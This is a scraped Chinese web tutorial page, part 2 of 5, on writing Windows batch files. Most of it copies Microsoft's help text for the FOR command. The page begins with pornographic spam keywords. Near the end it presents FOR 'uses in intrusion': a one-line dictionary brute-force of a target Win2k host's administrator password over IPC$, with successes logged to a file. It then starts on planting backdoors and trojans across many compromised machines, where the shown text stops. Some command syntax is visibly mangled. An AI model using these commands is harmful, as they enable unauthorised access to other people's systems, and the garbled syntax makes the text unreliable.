欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

批處理文件制作實例精彩教程第2/5頁

 更新時間:2007年02月28日 00:00:00   作者:  

支持: 

FOR /D %variable IN (set) DO command [command-parameters] 

如果集中包含通配符,則指定與目錄名匹配,而不與文件 
名匹配。 

FOR /R [[drive:]path] %variable IN (set) DO command [command- 

檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的 
FOR 語句。如果在 /R 后沒有指定目錄,則使用當(dāng)前 
目錄。如果集僅為一個單點(.)字符,則枚舉該目錄樹。 

FOR /L %variable IN (start,step,end) DO command [command-para 

該集表示以增量形式從開始到結(jié)束的一個數(shù)字序列。 
因此,(1,1,5) 將產(chǎn)生序列 1 2 3 4 5,(5,-1,1) 將產(chǎn)生 
序列 (5 4 3 2 1)。 

FOR /F ["options"] %variable IN (file-set) DO command 
FOR /F ["options"] %variable IN ("string") DO command 
FOR /F ["options"] %variable IN (command) DO command 

或者,如果有 usebackq 選項: 

FOR /F ["options"] %variable IN (file-set) DO command 
FOR /F ["options"] %variable IN ("string") DO command 
FOR /F ["options"] %variable IN (command) DO command 

filenameset 為一個或多個文件名。繼續(xù)到 filenameset 中的 
下一個文件之前,每份文件都已被打開、讀取并經(jīng)過處理。 
處理包括讀取文件,將其分成一行行的文字,然后將每行 
解析成零或更多的符號。然后用已找到的符號字符串變量值 
調(diào)用 For 循環(huán)。以默認(rèn)方式,/F 通過每個文件的每一行中分開 
的第一個空白符號。跳過空白行。您可通過指定可選 "options" 
參數(shù)替代默認(rèn)解析操作。這個帶引號的字符串包括一個或多個 
指定不同解析選項的關(guān)鍵字。這些關(guān)鍵字為: 

eol=c - 指一個行注釋字符的結(jié)尾(就一個) 
skip=n - 指在文件開始時忽略的行數(shù)。 
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的 
默認(rèn)分隔符集。 
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代 
的 for 本身。這會導(dǎo)致額外變量名稱的 
格式為一個范圍。通過 nth 符號指定 m 
符號字符串中的最后一個字符星號, 
那么額外的變量將在最后一個符號解析之 
分配并接受行的保留文本。 
usebackq - 指定新語法已在下類情況中使用: 
在作為命令執(zhí)行一個后引號的字符串并且 
引號字符為文字字符串命令并允許在 fi 
中使用雙引號擴起文件名稱。 


sample1: 
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command 

會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將 
每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和/或 
空格定界符號。請注意,這個 for 程序體的語句引用 %i 來 
取得第二個符號,引用 %j 來取得第三個符號,引用 %k 
來取得第三個符號后的所有剩余符號。對于帶有空格的文件 
名,您需要用雙引號將文件名括起來。為了用這種方式來使 
用雙引號,您還需要使用 usebackq 選項,否則,雙引號會 
被理解成是用作定義某個要分析的字符串的。 

%i 專門在 for 語句中得到說明,%j 和 %k 是通過 
tokens= 選項專門得到說明的。您可以通過 tokens= 一行 
指定最多 26 個符號,只要不試圖說明一個高于字母 z 或 
Z 的變量。請記住,F(xiàn)OR 變量是單一字母、分大小寫和全局的; 
同時不能有 52 個以上都在使用中。 

您還可以在相鄰字符串上使用 FOR /F 分析邏輯;方法是, 
用單引號將括號之間的 filenameset 括起來。這樣,該字符 
串會被當(dāng)作一個文件中的一個單一輸入行。 

最后,您可以用 FOR /F 命令來分析命令的輸出。方法是,將 
括號之間的 filenameset 變成一個反括字符串。該字符串會 
被當(dāng)作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進 
內(nèi)存,并被當(dāng)作文件分析。因此,以下例子: 

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i 

會枚舉當(dāng)前環(huán)境中的環(huán)境變量名稱。 

另外,F(xiàn)OR 變量參照的替換已被增強。您現(xiàn)在可以使用下列 
選項語法: 

~I - 刪除任何引號("),擴充 %I 
%~fI - 將 %I 擴充到一個完全合格的路徑名 
%~dI - 僅將 %I 擴充到一個驅(qū)動器號 
%~pI - 僅將 %I 擴充到一個路徑 
%~nI - 僅將 %I 擴充到一個文件名 
%~xI - 僅將 %I 擴充到一個文件擴展名 
%~sI - 擴充的路徑只含有短名 
%~aI - 將 %I 擴充到文件的文件屬性 
%~tI - 將 %I 擴充到文件的日期/時間 
%~zI - 將 %I 擴充到文件的大小 
%~$PATH:I - 查找列在路徑環(huán)境變量的目錄,并將 %I 擴充 
到找到的第一個完全合格的名稱。如果環(huán)境變量 
未被定義,或者沒有找到文件,此組合鍵會擴充 
空字符串 

可以組合修飾符來得到多重結(jié)果: 

%~dpI - 僅將 %I 擴充到一個驅(qū)動器號和路徑 
%~nxI - 僅將 %I 擴充到一個文件名和擴展名 
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名 
%~dp$PATH:i - 查找列在路徑環(huán)境變量的目錄,并將 %I 擴充 
到找到的第一個驅(qū)動器號和路徑。 
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR 

在以上例子中,%I 和 PATH 可用其他有效數(shù)值代替。%~ 語法 
用一個有效的 FOR 變量名終止。選取類似 %I 的大寫變量名 
比較易讀,而且避免與不分大小寫的組合鍵混淆。 

以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。 


sample2: 

利用For命令來實現(xiàn)對一臺目標(biāo)Win2k主機的暴力密碼破解。 
我們用net use ////ip//ipc$ "password" /u:"administrator"來嘗試這和目標(biāo)主機進行連接,當(dāng)成功時記下密碼。 
最主要的命令是一條:for /f i% in (dict.txt) do net use ////ip//ipc$ "i%" /u:"administrator" 
用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然后將程序運行結(jié)果傳遞給find命令-- 
for /f i%% in (dict.txt) do net use ////ip//ipc$ "i%%" /u:"administrator"find ":命令成功完成">>D://ok.txt ,這樣就ko了。 


sample3: 

你有沒有過手里有大量肉雞等著你去種后門+木馬呢?,當(dāng)數(shù)量特別多的時候,原本很開心的一件事都會變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡化日?;蛑貜?fù)性任務(wù)。那么如何實現(xiàn)呢?呵呵,看下去你就會明白了。

相關(guān)文章

最新評論